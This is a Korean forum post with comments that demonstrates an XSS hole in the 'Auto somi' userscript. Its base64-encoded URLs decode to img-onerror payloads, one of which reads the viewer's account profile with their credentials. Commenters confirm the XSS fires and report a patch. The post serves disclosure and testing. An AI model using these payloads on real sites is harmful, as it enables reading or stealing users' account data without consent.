kone
코딩해요
코딩해요

XSS 테스트 글 2트

05/26/2025, 12:59:05
🔐
3235 views · 1 like

aHR0cHM6Ly9leGFtcGxlLmNvbSM8c3BhbiBzdHlsZT0iZGlzcGxheTpub25lIj48aW1nIHNyYz0iaHR0cHM6Ly9leGFtcGxlLmNvbSIgb25lcnJvcj0iY29uc29sZS5jbGVhcigpO2NvbnNvbGUubG9nKCclY1dBUk46IFhzcyBWdWxuZXJhYmlsaXR5IGluIEF1dG8gc29taSB1c2Vyc2NyaXB0IScsJ2ZvbnQtc2l6ZTogNDBweDsgZm9udC13ZWlnaHQ6IGJvbGQ7IGNvbG9yOiB3aGl0ZTsgYmFja2dyb3VuZC1jb2xvcjogcmVkOyBwYWRkaW5nOiAxMHB4IDIwcHg7IGJvcmRlci1yYWRpdXM6IDVweDsgdGV4dC1zaGFkb3c6IDJweCAycHggMCBibGFjazsnKTsiPjwvc3Bhbj4=


aHR0cHM6Ly9leGFtcGxlLmNvbSMiPjwvYT48L2E+PC9hPjxkaXYgc3R5bGU9ImZvbnQtc2l6ZTogNDBweDsgZm9udC13ZWlnaHQ6IGJvbGQ7IGNvbG9yOiB3aGl0ZTsgYmFja2dyb3VuZC1jb2xvcjogcmVkOyBwYWRkaW5nOiAxMHB4IDIwcHg7IGJvcmRlci1yYWRpdXM6IDVweDsgdGV4dC1zaGFkb3c6IDJweCAycHggMCBibGFjazsiPklmIHRoaXMgdGV4dCBhcHBlYXJzIGluIHJlZCwgaXQgbWVhbnMgeW91ciAnQXV0byBzb21pJyB1c2Vyc2NyaXB0IGlzIGFmZmVjdGVkIGJ5IGFuIFhTUyAoQ3Jvc3MtU2l0ZSBTY3JpcHRpbmcpIHNlY3VyaXR5IHZ1bG5lcmFiaWxpdHkuIEZvciB5b3VyIHNlY3VyaXR5LCBwbGVhc2UgcmVtb3ZlIHRoZSB1c2Vyc2NyaXB0LiBBbHNvLCBwbGVhc2UgcmVwb3J0IHRoaXMgdG8gdGhlIGRldmVsb3BlciBvZiB0aGUgdnVsbmVyYWJsZSB1c2Vyc2NyaXB0LjwvZGl2Pg==


aHR0cHM6Ly9leGFtcGxlLmNvbSMiPjwvYT48c3BhbiBpZD0ieHNzX3dhcm4iIHN0eWxlPSJkaXNwbGF5Om5vbmUiPjxpbWcgc3JjPSJodHRwczovL2V4YW1wbGUuY29tIiBvbmVycm9yPSIoYXN5bmMgKCk9PntpZih3aW5kb3cuZXJpc2EpcmV0dXJuO3dpbmRvdy5lcmlzYT10cnVlO2FsZXJ0KCdBbiBhdHRhY2tlciBjYW4gbGVhcm4gaW5mb3JtYXRpb24gYWJvdXQgeW91ciBhY2NvdW50LiBMaWtlIHRoaXMhOiAnICsgKGF3YWl0IChhd2FpdCBmZXRjaCgnaHR0cHM6Ly9hcGkua29uZS5nZy92MC9wcm9maWxlL21lJywge2NyZWRlbnRpYWxzOiAnaW5jbHVkZSd9KSkudGV4dCgpKSl9KSgpIj48L3NwYW4+


aHR0cHM6Ly9zMS5leGFtcGxlLmNvbS9wYWdlI2FIUjBjSE02THk5ek1pNWxlR0Z0Y0d4bExtTnZiUzltYjI4PSI+PGltZyBzcmM9ImludmFsaWQiIG9uZXJyb3I9YWxlcnQoMTIzKT4= aHR0cHM6Ly9zMi5leGFtcGxlLmNvbS9mb28=



내 예상이 맞다면 5월 27일 이전 auto somi 유저스크립트 사용시 여러 경고가 뜨고 있을 것이고, 이후는 123 글자가 담긴 경고창이 뜰 것

1
5 comments
05/26/25
autosomi 쓰고 있으면 xss 발생하네
05/27/25
근데 이런거 테스트하는거 어떨땐 base64문자열로 하고 어떨땐 따옴표 우회 문자열로 하던데 그 기준이 뭐임?
그냥 어떻게 하면 필터링을 우회할 수 있을까?의 결과물일뿐 작동하면 큰 의미 없음
05/27/25
아까 오전에 123도 안나오게 패치하긴 했는데 업뎃한번 더 해보셔요
05/27/25 Edited 05/27/25
'base64자동복호화' <- 얘는 안뜸